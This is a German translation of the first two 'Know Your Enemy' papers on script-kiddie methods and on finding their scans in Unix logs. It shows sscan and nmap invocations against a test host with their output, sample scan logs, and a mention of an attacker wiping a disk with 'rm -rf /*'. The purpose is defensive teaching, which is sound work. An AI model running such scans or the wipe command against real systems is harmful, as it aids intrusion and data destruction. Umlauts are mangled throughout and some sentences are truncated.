http://old.honeynet.org/papers/trans/

Kapitel 1

Die Tools und Methoden der „Script Kiddies“

Den Feind erkennen

Mein Kommandeur pflegte zu sagen, das man, um sich gegen den Feind zu sch�tzen, erst mal wissen mu�, wer der Feind ist. Diese Milit�rdoktrin l��t sich genau so auf die Welt der Netzwerksicherheit �bertragen. Wie beim Milit�r geht es um Ressourcen, die Du sch�tzen willst. Um sie zu sch�tzen, mu�t Du wissen, wer die Gefahr ist und wie sie angreifen werden. Dieser Artikel, der erste von dreien, tut genau das: er diskutiert die Tools und Methoden, die von einer der am weitesten verbreiteten Gefahren genutzt werden: dem „Script Kiddie“. Der zweite Teil konzentriert sich darauf, wie man diese Attacken erkennen kann, wie man erkennt, welche Tools benutzt werden und nach welchen Schwachstellen sie suchen. Der dritte Teil befa�t sich damit, was passiert, wenn sie erst mal root geworden sind und ganz besonders darauf, wie sie ihre Spuren verwischen und was sie als n�chstes tun.

Wer ist das „Script Kiddie“?

Das „Script Kiddie“ ist jemand, der auf den schnellen, einfachen Erfolg aus ist. Sie sind nicht auf der Suche nach spezieller Information oder zielen auf eine bestimmte Firma. Alles was sie wollen, ist so einfach wie m�glich root zu werden. Das versuchen sie, indem sie sich auf eine kleine Anzahl von Schwachpunkten beschr�nken und dann das gesamte Internet danach absuchen. Fr�her oder sp�ter finden sie jemanden, der verwundbar ist.

Manche von ihnen sind fortgeschrittene Anwender, die ihre eigenen Tools entwickeln und ausgekl�gelte Hintert�ren hinterlassen. Manche wissen �berhaupt nicht, was sie tun; das einzige was sie k�nnen, ist „go“ auf der Kommandozeile zu tippen. Ungeachtet ihres Wissensstandes haben sie alle die gleiche Strategie: ziellos nach einer bestimmten Schw�che suchen und diese dann ausnutzen.

Die Bedrohung

Es ist diese zuf�llige Auswahl von Zielen, die das „Script Kiddie“ so gef�hrlich macht. Fr�her oder sp�ter werden Deine Maschinen und Netzwerke getestet werden, man kann sich vor ihnen nicht verstecken. Ich kenne Admins, die erstaunt waren, als ihre Systeme zwei Tage nach dem Hochfahren, als sie noch keiner kannte, gescannt wurden. Das ist nicht weiter erstaunlich. Wahrscheinlich wurden ihre Systeme von einem „Script Kiddie“ gescannt, der gerade einen Netzwerkblock testete.

Wenn sich das auf einige individuelle Scans beschr�nken w�rde, w�re die Statistik auf deiner Seite. Mit Millionen Systemen im Internet ist es wahrscheinlich, das niemand dich findet. Leider ist das nicht so. Die meisten verwendeten Tools sind einfach zu benutzen und weit verbreitet, jeder kann sie nutzen. Eine schnell wachsende Zahl von Leuten besorgt sich diese Tools. Da das Internet keine geografischen Grenzen kennt, hat sich diese Bedrohung schnell um die ganze Welt verbreitet. Auf einmal steht die Statistik gegen uns: mit so vielen Anwendern die diese Tools nutzen ist die Frage nicht ob, sondern wann Du gescannt werden wirst.

Dies ist ein hervorragendes Beispiel daf�r, warum „Sicherheit durch Geheimhaltung“ versagen kann. Du glaubst vielleicht, das, wenn niemand dein System kennt, Du sicher bist. Andere glauben, das ihre Systeme uninteressant sind, warum sollte sie also jemand scannen? Nach genau diesen Systemen suchen „Script Kiddies“, nach den ungesch�tzten Systemen, die einfach auszunutzen sind, dem schnellen Erfolg.

Die Methoden

Die Methode des „Script Kiddies“ ist einfach: durchsuche das Internet nach einer bestimmten Schwachstelle und wenn du sie gefunden hast, nutze sie aus. Die meisten Tools, die sie verwenden, sind automatisiert und erfordern wenig Interaktion. Starte das Tool und komm ein paar Tage sp�ter wieder, um die Ergebnisse abzuholen. Keine zwei Tools sind gleich, genauso wie keine zwei Exploits (wie �bersetzt man das am besten?) gleich sind. Wie auch immer, die meisten Tools arbeiten nach dem gleichen Prinzip: zuerst wird eine IP- Adressdatenbank erzeugt, die man scannen kann. Dann werden diese IP-Adressen nach einer bestimmten Schwachstelle gescannt.

Nehmen wir einfach an, ein Anwender h�tte ein Tool, mit dem er imap auf Linuxsystemen ausnutzen kann (http://www.enteract.com/~lspitz/imapd_exploit.txt). Als erstes w�rde er eine IP-Adressdatenbank erzeugen, die gescannt werden k�nnen (d.h. das Zielsystem l�uft und ist erreichbar). Nachdem die Datenbank erzeugt ist, w�rde der Anwender herausfinden wollen, welche dieser Systeme unter Linux laufen. Viele moderne Scanner k�nnen das herausfinden, indem sie fehlerhafte Pakete verschicken und die Antwort analysieren (ein Beispiel ist Fyodors nmap (http://www.insecure.org/nmap)). Danach w�rden andere Tools benutzt, um herauszufinden, auf welchen dieser Linuxsysteme imap l�uft. Alles, was danach noch zu tun bleibt, ist die Schw�che der verbleibenden Maschinen auszunutzen.

Man k�nnte vermuten, da� das ganze Scannen extrem auff�llig ist und ein ganze Menge Aufmerksamkeit auf sich zieht. Viele Leute �berwachen ihre Systeme aber nicht und sind sich gar nicht bewu�t, das sie gescannt worden sind. Viele „Script Kiddies“ suchen sich auch in aller Stille ein einzelner System, das sie benutzen k�nnen. Wenn sie einmal eingedrungen sind, nutzen sie dieses System als Plattform. Sie k�nnen dreist das ganze Internet absuchen, ohne Strafe f�rchten zu m�ssen. Wenn ihre Scans entdeckt werden, wird der Systemadministrator und nicht sie selber zur Verantwortung gezogen.

Dar�berhinaus werden die Ergebnisse solcher Scans oft aufbewahrt und an andere weitergegeben, um sp�ter wiederverwendet zu werden. Nehmen wir an, ein Anwender hat eine Datenbank von offenen Ports an erreichbaren Linuxsystemen erzeugt. Zweck dieser Datenbank ist es, die aktuelle imap-Schw�che auszunutzen. Nehmen wir weiter an, in einem Monat wird eine andere Schw�che auf einem anderen Port entdeckt. Anstatt die ganze Datenbank neu aufbauen zu m�ssen (der zeitraubenste Teil), kann der Anwender einfach in die bestehende Datenbank schauen und die angreifbaren Systeme kompromittieren. Alternativ dazu nutzen „Script Kiddies“ diese Datenbanken gemeinsam oder kaufen sie von einander. Das „Script Kiddie“ kann dann dein System angreifen, ohne es jemals gescannt zu haben. Nur weil deine Systeme k�rzlich nicht gescannt worden sind, hei�t das nicht, das du sicher bist.

Die erfahreneren „Schlapph�te“ implementieren Trojaner und Hintert�ren, wenn sie erst mal im System sind. Hintert�ren erlauben einfachen und unbemerkten Zugang zum System wann immer der Anwender es m�chte. Die Trojaner machen den Eindringling unauffindbar. Er taucht in keinen Logs, Systemprozessen oder Dateisystemen auf. Er baut sich ein komfortables und sicheres Heim, von dem aus er das ganze Internet scannen kann. Mehr Informationen finden sich in „Den Feind erkennen III“.

Diese Attacken beschr�nken sich nicht auf eine bestimmte Tageszeit. Viele Admins durchsuchen ihre Logs nach Scanversuchen die sp�t nachts stattfinden, da sie glauben, das dies die Zeit sei, zu der die B�sen angreifen. „Script Kiddies“ greifen zu jeder Zeit an. Da sie 24 Stunden am Tag scannen, wei� man nie, wann der n�chste Versuch stattfindet. Dar�berhinaus werden die Attacken rund um die Welt gestartet. Genausowenig wie geografische Grenzen kennt das Internet Zeitzonen. Bei den B�sen mag es Mitternacht sein, w�hrend es bei dir ein Uhr mittags ist.

Diese Methode des Scannens nach angreifbaren Systemen kann zu einer Reihe von Zwecken verwendet werden. Erst k�rzlich wurde von neuen DoS-Attacken berichtet, besonders von DDoS-Attacken (Distributed DoS-Attacken). Diese Angriffe basieren auf einem einzelnen Anwender, der hunderte, wenn nicht tausende, kompromittierte Systeme rund um die Welt kontrolliert. Diese kompromittierten Systeme werden dann aus der Ferne koordiniert, um eine DoS-Attacke gegen ein oder mehrere Opfer zu starten. Da verschiedene Systeme benutzt werden, ist es extrem schwierig, die Quelle solcher Angriffe zu erkennen oder den Angriff abzuwehren. Um die Kontrolle �ber so viele Systeme zu erlangen, werden oft die Taktiken der „Script Kiddies“ angewandt. Angreifbare Systeme werden zuf�llig ausgew�hlt und dann zu DDoS-Plattformen gemacht. Je mehr Systeme benutzt werden, dest kraftvoller ist die DDoS-Attacke. Ein Beispiel f�r eine solche Attacke ist „stacheldraht“. Mehr �ber DDoS-Angriffe und wie man sich davor sch�tzen kann steht auf Paul Fergusons Seite denialinfo (http://www.denialinfo.com).

Die Tools

Die benutzten Tools sind extrem einfach zu benutzen. Die meisten dienen nur einem Zweck und bieten wenige Optionen. Als erstes kommen die Tools um eine IP- Datenbank aufzubauen. Diese Tools arbeiten wirklich zuf�llig, da sie einfach das Internet scannen. Zum Beispiel hat ein Tool nur eine einzige Option:A, B oder C. Durch den Buchstaben, den man ausw�hlt, legt man die Gr��e des zu scannenden Netzwerkes fest. Danach sucht das Tool nach zuf�llig erzeugten IP-Adressen. Ein anderes Tool nutzt einen Dom�nennamen (z0ne ist daf�r ein hervorragendes Beispiel). Die Tools bauen die IP-Datenbank auf, indem sie Zonentransfers des Dom�nennamens und aller Unterdom�nen ausf�hren. Anwender haben Datenbanken mit mehr als 2 Millionen IP-Adressen aufgebaut, indem sie die gesamte .com oder .edu Dom�ne gescannt haben.

Einmal entdeckt, werden die Adressen dann von Tools gescannt um Schwachstellen aufzudecken, wie z.B. die Version von named, das Betriebssystem oder Prozesse die auf dem System laufen. Wenn die angreifbaren Systeme entdeckt sind, schl�gt der B�se zu. Es existieren verschiedene Tools, die alle diese Schritte kombinieren und den Prozess noch weiter vereinfachen, z.B. sscan von jsbach (http://ben3.ucla.edu/~jsbach) oder cracker.pl (http://www.enteract.com/~lspitz/README.cracker.txt). F�r ein besseres Verst�ndnis, wie diese Tools arbeiten lies „Den Feind erkennen II“.

Schlu�folgerung

Die „Script Kiddies“ stellen eine Bedrohung f�r jedes System dar. Sie zeigen keine besondere Neigung und scannen alle Systeme, unabh�ngig vom Standort und der Bedeutung. fr�her oder sp�ter wird dein System gescannt werden. Durch das Verst�ndnis f�r ihre Motive und Methoden kannst Du Dein System besser gegen diese Bedrohung sch�tzen.

Kapitel 2

Ihre Spuren verfolgen

Den Feind erkennen II

Dieser Artikel ist der zweite von drei Teilen. Der erste Teil behandelte die Tools und Methoden der „Script Kiddies“, besonders wie sie nach Schwachstellen suchen und diese dann angreifen. Der dritte Teil beschreibt, was „Script Kiddies“ tun, wenn sie erst mal root sind und hier besonders, wie sie ihre Spuren verwischen und was sie tun. Dieser Teil besch�ftigt sich mit dem Verfolgen ihrer Spuren. Genau wie beim Milit�r m�chte man die B�sen verfolgen und wissen was sie tun. Wir werden erkl�ren, was man mit Hilfe der System Logs herausfinden kann und was nicht. Vielleicht kannst du herausfinden, ob du gescannt worden bist, nach was du gescannt worden bist, mit welchen Tools und ob sie erfolgreich waren. Die Beispiele hier konzentrieren sich auf Linux, k�nnen aber auf fast jede Version von Unix angewandt werden. Sei dir aber bewu�t, da� es keinen garatierten Weg gibt, jeden Schritt deines Feindes zu verfolgen. Trotzdem ist dieser Artikel ein guter Anfang.

Deine Logs sichern

Dieser Artikel besch�ftigt sich nicht mit der Erkennung von Einbruchsversuchen, es gibt eine Anzahl exzellenter Quellen, die dies tun. Wenn du dich daf�r interessierst, empfehle ich Programme wie den Network Flight Recorder (http://www.nfr.net) oder snort (http://www.clark.net/~roesch/security.html). Dieser Artikel ist �ber Informationsbeschaffung. Im speziellen: wie finde ich mit Hilfe meiner Systemlogs heraus, was der Feind tut? Du wirst �berrascht sein, wieviel Informationen man in seinen Logfiles findet. Bevor wir aber �ber die Auswertung reden, m�ssen wir erst �ber die Sicherung der Logs reden. Deine Logfiles sind wertlos, wenn du dich nicht auf ihre Richtigkeit verlassen kannst. Das erste was die meisten B�sen tun, ist die Logfiles auf einem kompromittiertem System zu ver�ndern. Es gibt eine ganze Reihe von Tools (z.B. cloak), die deine Anwesenheit aus den Logs herausl�schen oder gleich das ganze Logging ver�ndern (wie ver�nderte syslogd-Binaries). Der erste Schritt zum Auswerten der Logs mu� also deren Sicherung sein.

Das bedeutet, das Du einen Remote-Logserver verwenden mu�t. Egal wie sicher Dein System ist, Du kannst Logs auf einem kompromittiertem System nicht vertrauen. Der B�se kann einfach ein rm -rf /* machen und deine Festplatte komplett l�schen. Dadurch wird das Wiederherstellen deiner Logs etwas schwierig. Um sich dagegen zu sch�tzen, sollten alle Systeme doppelt loggen: einmal lokal und einmal auf einem Remote-Logserver. Ich w�rde empfehlen, eine eigene Maschine als Logserver abzustellen, d.h. dieser Rechner tut nichts anderes, als die Logs von anderen Systemen zu sammeln. Wenn Geld eine Rolle spielt, l��t sich mit Linux einfach ein solcher Server aufsetzen. Dieser Server sollte bestm�glich gesichert werden, mit so wenig laufenden Diensten wie m�glich und Zugriff nur von der Konsole aus. Au�erdem sollte sichergestellt sein, da� der UDP-Port 514 geblockt oder von einer Firewall an der Internetverbindung gesichert ist. Das sch�tzt den Server vor falschen oder nicht autorisierten Logginginformationen aus dem Internet.

Wenn man ganz gerissen sein will, kompiliert man einfach neu, so das sie eine andere Konfigurationsdatei einliest, z.B. /var/tmp/.conf. Auf diese Weise wei� der B�se nicht, wo die wahre Konfigurationsdatei liegt. Die �nderung ist durch einfaches editieren des Eintrags /etc/syslog.conf im Sourcecode zu machen. Au�erdme tragen wir in unsere neue Konfigurationsdatei ein, sowohl lokal als auch auf dem Remote-Logserver zu loggen. Trotz alledem sollte man eine Standardkonfigurationsdatei /etc/syslogd.conf behalten, auf der das Logging ausschlie�lich lokal zu sein scheint. Diese Datei ist zwar jetzt nutzlos, wird den B�sen aber von dem Remote-Logging ablenken. Eine andere Methode deine Systeme zu sch�tzen, ist das verwenden einer sicheren Logmethode. Eine M�glichkeit w�re es, die syslogd-Binary gegen etwas auszutauschen, was einen eingebauten Integrit�tscheck und eine gr��ere Auswahl an Optionen hat, z.B. syslog-ng, zu finden auf http://www.balabit.hu/products/syslog-ng.html.

Die meisten Logs die wir nutzen werden, liegen auf einem Remote-Logserver. Wie vorher erw�hnt, k�nnen wir auf die Integrit�t dieser Dateien vertrauen, da sie auf einem Remote und gut gesichertem System liegen. Dar�berhinaus ist wesentlich leichter, bestimmte Muster in den Logs zu erkennen, da alle Systeme auf einen zentralen Rechner schreiben. Man kann mit einem Blick sehen, was auf allen Systemen geschieht. Die einzige Gelegenheit, bei der man die lokalen Logfiles ansehen mu�, ist um zu vergleichen, ob sie mit den Serverlogs identisch sind. So l��t sich einfach herausfinden, ob sie ver�ndert worden sind oder nicht.

Muster erkennen

Ob man Opfer eines Portscans geworden ist, l��t sich normalerweise an den Logs feststellen. Die meisten Script Kiddies scannen Netzwerke nach einer einzelnen Schw�che. Wenn man aus den Logs erkennen kann, das die meisten eigenen Systeme eine Verbindung auf dem immer gleichen Port zu einem immer gleichen Remotesystem aufgebaut haben, ist das sehr wahrscheinlich eine Scanattacke. Der Feind hat die M�glickeit, eine einzelne Schwachstelle auszunutzen und danach sucht er dein Netzwerk ab. Wenn er sie findet, wird er sie ausnutzen. Auf den meisten Linuxsystemen sind standardm��ig TCP-Wrapper installiert. Die meisten der Verbindungen werden wir also in /var/log/secure finden. Bei den anderen Linux- Varianten k�nnen wir alle inetd Verbindungen loggen indem inetd mit dem „-t“ Parameter gestartet wird. Ein typischer Schwachpunkt-Scan w�rde so �hnlich aussehen wie das Beispiel weiter unten. Hier sucht jemand nach der wu-ftpd Schw�che:

/var/log/secure Apr 10 13:43:48 mozart in.ftpd[6613]: connect from 192.168.11.200 Apr 10 13:43:51 bach in.ftpd[6613]: connect from 192.168.11.200 Apr 10 13:43:54 hadyen in.ftpd[6613]: connect from 192.168.11.200 Apr 10 13:43:57 vivaldi in.ftpd[6613]: connect from 192.168.11.200 Apr 10 13:43:58 brahms in.ftpd[6613]: connect from 192.168.11.200

Man sieht, wie die Adresse 192.168.11.200 das Netzwerk absucht. Beachte, wie der Angreifer die IPs nacheinander absucht (das ist nicht immer der Fall). Hier liegt der Vorteil eines Logservers: man kann einfacher Muster im Netzwerk erkennen, da alle Logs hier zusammenlaufen. Die wiederholten Verbindungen zu Port 21 (ftp) zeigen an, das wahrscheinlich nach dem wu-ftpd Schwachpunkt gesucht wurde. Wir haben also gerade herausgefunden, wonach der B�se gesucht hat. Scans tendieren oft dazu in Wellen zu kommen. Jemand ver�ffentlicht Code, um eine imap-Schw�che auszunutzen und pl�tzlich kommt ein Schwall von imap-Scans in die Logs. N�chsten Monat ist es dann vielleicht ftp. Eine hervorragende Quelle f�r aktuelle Schwachpunkte ist http://www.cert.org/advisories. Manche Tools k�nnen auch gleichzeitig nach mehreren Schw�chen suchen, man sieht also manchmal eine einzelne Quelle Verbindung zu mehreren Ports aufnehmen.

Was sind die Tools?

Manchmal kann sogar die Tools erkennen, die benutzt werden, um das Netzwerk zu scannen. Einige der einfacheren Tools scannen nach nur einem Schwachpunkt, wie z.B. ftp-scan.c. Wenn nur ein einzelner Port oder Schwachpunkt im Netzwerk gescannt wird, wird wahrscheinlich ein solches „Einzeltool“ benutzt. Es existieren aber Tools, die nach einer ganzen Reihe von Schwachpunkten suchen. Die beiden popul�rsten Tools sind sscan (http://www.ben2.ucla.edu/~jsbach) von jsbach und nmap (http://www.insecure.org/nmap) von Fyodor. Ich habe diese beiden Tools ausgesucht, da sie die beiden „Kategorien“ von Scanningtools repr�sentieren. Ich empfehle sehr, da du diese Tools gegen dein Netzwerk einsetzt, du k�nntest �ber die Ergebnisse �berrascht sein :)

wahrscheinlich eines der besten. Es testet ein Netzwerk schnell auf eine Reihe von Schwachstellen (inklusive cgi-bin). Es ist einfach anzupassen

und erlaubt so Testverfahren f�r neue Schw�chen hinzuzuf�gen. Man mu� dem 

Tool nur ein Netzwerk und eine Subnetzmaske geben und es erledigt den Rest. Der Anwender mu� jedoch root sein um es zu nutzen. Die Ausgabe ist extrem einfach zu deuten (darum ist es so beliebt). Es gibt eine knappe Zusammenfassung vieler verwundbarer Dienste. Alles, was man zu tun hat, ist sscan gegen ein Netzwerk einzusetzen, die Ausgabe nach dem Wort „VULN“ zu durchsuchen und den „Angriff des Tages“ zu starten. Es folgt ein Beispiel, in dem sscan gegen das System mozart (172.17.6.30) eingesetzt wird:

        otto #./sscan -o 172.17.6.30 
  1. ————————-<[ * report for host mozart *

<[ tcp port: 80 (http) ]> <[ tcp port: 23 (telnet) ]>

        <[ tcp port: 143 (imap) ]>      <[ tcp port: 110 (pop-3) ]> 
        <[ tcp port: 111 (sunrpc) ]>    <[ tcp port: 79 (finger) ]> 
        <[ tcp port: 53 (domain) ]>     <[ tcp port: 25 (smtp) ]> 
        <[ tcp port: 21 (ftp) ]> 
        --<[ *OS*: mozart: os detected: redhat linux 5.1 
        mozart: VULN: linux box vulnerable to named overflow. 
        -<[ *CGI*: 172.17.6.30: tried to redirect a /cgi-bin/phf request. 
        -<[ *FINGER*: mozart: root: account exists. 
        --<[ *VULN*: mozart: sendmail will 'expn' accounts for us 
        --<[ *VULN*: mozart: linux bind/iquery remote buffer overflow 
        --<[ *VULN*: mozart: linux mountd remote buffer overflow 
        ---------------------------<[ * scan of mozart completed *

Schwachstellen existieren, sondern nur welche Ports offen sind und du selber sch�tzt den Einflu� auf die Sicherheit ab. Nmap ist schnell zur ersten Wahl der Portscanner geworden und das nicht ohne Grund. Es vereint die besten Funktionen von verschiedenen Portscannern in einem einzelnen Tool, inklusive OS- Feststellung, verschiedene Paketzusammensetzungsoptionen (original:packet assembly options), sowohl TCP als auch UDP scanning, Willk�rlichkeit, etc. Man braucht jedoch Netzwerkwissen um das Tool zu nutzen und die Daten zu interpretieren. Es folgt ein Beispiel in dem nmap wieder gegen das gleiche System eingesetzt wird:

otto #nmap -sS -O 172.17.6.30 
        Starting nmap V. 2.08 by Fyodor (fyodor@dhp.com, 

www.insecure.org/nmap/)

        Interesting ports on mozart (172.17.6.30): 
        Port    State       Protocol  Service 
        21      open        tcp        ftp 
        23      open        tcp        telnet 
        25      open        tcp        smtp 
        37      open        tcp        time 
        53      open        tcp        domain 
        70      open        tcp        gopher 
        79      open        tcp        finger 
        80      open        tcp        http 
        109     open        tcp        pop-2 
        110     open        tcp        pop-3 
        111     open        tcp        sunrpc 
        143     open        tcp        imap2 
        513     open        tcp        login 
        514     open        tcp        shell 
        635     open        tcp        unknown 
        2049    open        tcp        nfs 
        TCP Sequence Prediction: Class=truly random 
                                 Difficulty=9999999 (Good luck!) 
        Remote operating system guess: Linux 2.0.35-36 
        Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds

Durch das Lesen deiner Logs kannst du erkennen, welches Tools gegen dich eingesetzt wurde. Um das zu schaffen, mu�t du wissen, wie diese Tools arbeiten. Ein sscan wird wie folgt geloggt werden (dies ist ein Standardscan ohne Ver�nderungen an irgendwelchen Konfigurationsdateien):

/var/log/secure 
Apr 14 19:18:56 mozart in.telnetd[11634]: connect from 192.168.11.200 
Apr 14 19:18:56 mozart imapd[11635]: connect from 192.168.11.200 
Apr 14 19:18:56 mozart in.fingerd[11637]: connect from 192.168.11.200 
Apr 14 19:18:56 mozart ipop3d[11638]: connect from 192.168.11.200 
Apr 14 19:18:56 mozart in.telnetd[11639]: connect from 192.168.11.200 
Apr 14 19:18:56 mozart in.ftpd[11640]: connect from 192.168.11.200 
Apr 14 19:19:03 mozart ipop3d[11642]: connect from 192.168.11.200 
Apr 14 19:19:03 mozart imapd[11643]: connect from 192.168.11.200 
Apr 14 19:19:04 mozart in.fingerd[11646]: connect from 192.168.11.200 
Apr 14 19:19:05 mozart in.fingerd[11648]: connect from 192.168.11.200 
/var/log/maillog 
Apr 14 21:01:58 mozart imapd[11667]: command stream end of file, while 

reading line user=??? host=[192.168.11.200]

Apr 14 21:01:58 mozart ipop3d[11668]: No such file or directory while 

reading line user=??? host=[192.168.11.200]

Apr 14 21:02:05 mozart sendmail[11675]: NOQUEUE: [192.168.11.200]: expn 

root

/var/log/messages 
Apr 14 21:03:09 mozart telnetd[11682]: ttloop:  peer died: Invalid or 

incomplete multibyte or wide character

Apr 14 21:03:12 mozart ftpd[11688]: FTP session closed

sscan sucht au�erdem nach cgi-bin Schw�chen. Diese Versuche werden nicht mit syslogd aufgezeichnet, man findet sie statt dessen in access_log. Ich habe mich trotzdem entschlossen, sie hier zu deiner Erbauung zu erw�hnen :)

/var/log/httpd/access_log 
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/phf 

HTTP/1.0„ 302 192

192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/Count.cgi 

HTTP/1.0“ 404 170

192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/test-cgi 

HTTP/1.0„ 404 169

192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/php.cgi 

HTTP/1.0“ 404 168

192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/handler 

HTTP/1.0„ 404 168

192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/webgais 

HTTP/1.0“ 404 168

192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/websendmail 

HTTP/1.0„ 404 172

192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/webdist.cgi 

HTTP/1.0“ 404 172

192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/faxsurvey 

HTTP/1.0„ 404 170

192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/htmlscript 

HTTP/1.0“ 404 171

192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-

bin/pfdisplay.cgi HTTP/1.0„ 404 174

192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/perl.exe 

HTTP/1.0“ 404 169

192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/wwwboard.pl 

HTTP/1.0„ 404 172

192.168.11.200 - - [14/Apr/1999:16:44:50 -0500] "GET /cgi-

bin/ews/ews/architext_query.pl HTTP/1.0“ 404 187

192.168.11.200 - - [14/Apr/1999:16:44:50 -0500] "GET /cgi-bin/jj HTTP/1.0" 

404 163

Beachte, wie eine vollst�ndige Verbindung (SYN, SYN-ACK, ACK) f�r alle Ports aufgebaut und dann wieder abgebrochen wird. Das kommt daher, da� sscan auf der Anwendungsebene feststellt was vorgeht. sscan m�chte nicht nur wissen OB ein ftp port offen ist, sondern WELCHER ftp daemon l�uft. Das gleiche trifft auch f�r imap, pop etc. zu. Sehen kann das in den „sniff traces“, die mit sniffit, einem weit verbreitetem Tools zum sniffen von Passw�rtern, erzeugt wurden.

mozart $ cat 172.17.6.30.21-192.168.11.200.7238 
220 mozart.example.net FTP server (Version wu-2.4.2-academ[BETA-17](1) Tue 

Jun 9 10:43:14 EDT 1998) ready.

Wie man oben sehen kann, wurde eine vollst�ndige Verbindung aufgebaut, um die Version des laufenden wu-ftpd zu ermitteln. Wenn Verbindungen wie oben in den Logs auftauchen, wird man sehr wahrscheinlich gescannt. Diese Tools bauen Verbindungen auf, um festzustellen, was auf dem Rechner l�uft.

nmap k�mmert sich wie die meisten Portscanner nicht darum was l�uft, sondern ob spezielle Dienste laufen. Daf�r hat nmap ein umfangreiches Set an Optionen, mit denen man bestimmen kann, welche Art von Verbindung herzustellen ist, inklusive SYN, FIN, Xmas, Null, etc. Eine detaillierte Beschreibung der Optionen findet man auf http://www.insecure.org/nmap/nmap_doc.html. Wegen dieser Optionen werden die Logs je nach ausgew�hlten Optionen anders aussehen. Eine Verbindung, die mit den -sT Parametern aufgebaut wurde, ist eine vollst�ndige Verbindung, die Logs werden also �hnlich wie bei sscan aussehen, nmap scannt jedoch standardm��ig mehr Ports.

/var/log/secure 
Apr 14 21:20:50 mozart in.rlogind[11706]: connect from 192.168.11.200 
Apr 14 21:20:51 mozart in.fingerd[11708]: connect from 192.168.11.200 
Apr 14 21:20:51 mozart ipop2d[11709]: connect from 192.168.11.200 
Apr 14 21:20:51 mozart in.rshd[11710]: connect from 192.168.11.200 
Apr 14 21:20:51 mozart gn[11711]: connect from 192.168.11.200 
Apr 14 21:20:51 mozart gn[11711]: error: cannot execute /usr/sbin/gn: No 

such file or directory

Apr 14 21:20:52 mozart in.timed[11712]: connect from 192.168.11.200 
Apr 14 21:20:52 mozart imapd[11713]: connect from 192.168.11.200 
Apr 14 21:20:52 mozart ipop3d[11714]: connect from 192.168.11.200 
Apr 14 21:20:52 mozart in.telnetd[11715]: connect from 192.168.11.200 
Apr 14 21:20:52 mozart in.ftpd[11716]: connect from 192.168.11.200 

Etwas, an das man sich erinnern sollte, ist die -D (wie decoy=Lockvogel, K�der) Option. Diese nmap Option erm�glicht es dem User seine Ip-Adresse zu verbergen. Es ist m�glich, das man Scans von 15 verschiedenen Quellen gleichzeitig sieht, aber nur eine davon ist die echte. Es ist extrem schwierig, diese eine herauszufinden. Noch �fter werden User die -sS Option zum Portscannen verwenden. Da nur ein SYN-Paket gesendet wird, ist dieses eine noch verstohlerene Methode. Wenn das Zielsystem antwortet, wird die Verbindung sofort mit einem RST abgebrochen. Die Logs f�r einen solchen Scanversuch sehen wie folgt aus (Anmerkung: nur die ersten f�nf Eintr�ge werden ber�cksichtigt):

/var/log/secure
Apr 14 21:25:08 mozart in.rshd[11717]: warning: can't get client address: 

Connection reset by peer

Apr 14 21:25:08 mozart in.rshd[11717]: connect from unknown 
Apr 14 21:25:09 mozart in.timed[11718]: warning: can't get client address: 

Connection reset by peer

Apr 14 21:25:09 mozart in.timed[11718]: connect from unknown 
Apr 14 21:25:09 mozart imapd[11719]: warning: can't get client address: 

Connection reset by peer

Apr 14 21:25:09 mozart imapd[11719]: connect from unknown 
Apr 14 21:25:09 mozart ipop3d[11720]: warning: can't get client address: 

Connection reset by peer

Apr 14 21:25:09 mozart ipop3d[11720]: connect from unknown 
Apr 14 21:25:09 mozart in.rlogind[11722]: warning: can't get client 

address: Connection reset by peer

Apr 14 21:25:09 mozart in.rlogind[11722]: connect from unknown

Beachte die ganzen Fehlermeldungen bei den Verbindungen. Da die SYN-ACK Sequenz abgebrochen wird, bevor die Verbindung steht, kann der daemon das Quellsystem nicht identifizieren. Die Logs sagen, das man gescannt worden ist, aber leider nicht von wem. Noch alarmierender ist es, das auf den meisten anderen Systemen (inklusive der neueren Linux-Kernelversionen) diese Fehler nicht mal geloggt w�rden. Um Fyodor zu zitieren „…Dies ist eine Kuriosit�t von Linux 2.0.XX – praktisch jedes andere System (inklusive der 2.2 und �lteren 2.1 Kernel) zeigt nichts an. Dieser Fehler (ein accept() wird gesendet bevor der 3-way-handshake komplett ist) wurde beseitigt.“

nmap bietet noch andere Stealthoptionen, wie z.B. -sF, -sX, -sN bei denen verschiedene Parameter genutzt werden. So sehen die Logs f�r diese Scans aus:

/var/log/secure

Beachte: keine Logeintr�ge. Erschreckend, oder? Man wurde gerade gescannt und wei� es nicht mal. Alle drei Scans lieferten die gleichen Ergebnisse, man kann jedoch nur den ersten Typ (-sT, komplette Verbindung) vollst�ndig loggen. Um diese „Stealthscans“ zu entdecken, braucht man ein anderes Logprogramm wie tcplogd oder ippl. Einige kommerzielle Firewalls erkennen und zeichnen alle diese Scans auf (ich habe das auf einer Checkpoint Firewall-1 �berpr�ft).

Sind sie reingekommen?

Wenn Du erkannt hast, das Du gescannt worden bist und wonach sie gesucht haben ist die n�chste gro�e Frage „Sind sie reingekommen?“. Die meisten heutigen „remote exploits“ basieren auf Puffer�berl�ufen (buffer overflows, auch bekannt als smashing the stack). Einfach formuliert findet ein Puffer�berlauf statt, wenn ein Programm (normalerweise ein daemon) mehr Eingaben erh�lt, als er erwartet hat und dadurch kritische Bereiche im Hauptspeicher �berschreibt. Bestimmter Code wird dann ausgef�hrt und gibt dem User normalerweise root- Zugriff. Mehr Infos �ber buffer overflows findet man in Aleph1's hervorragendem Dokument auf ftp://ftp.technotronic.com/rfc/phrack49-14.txt.

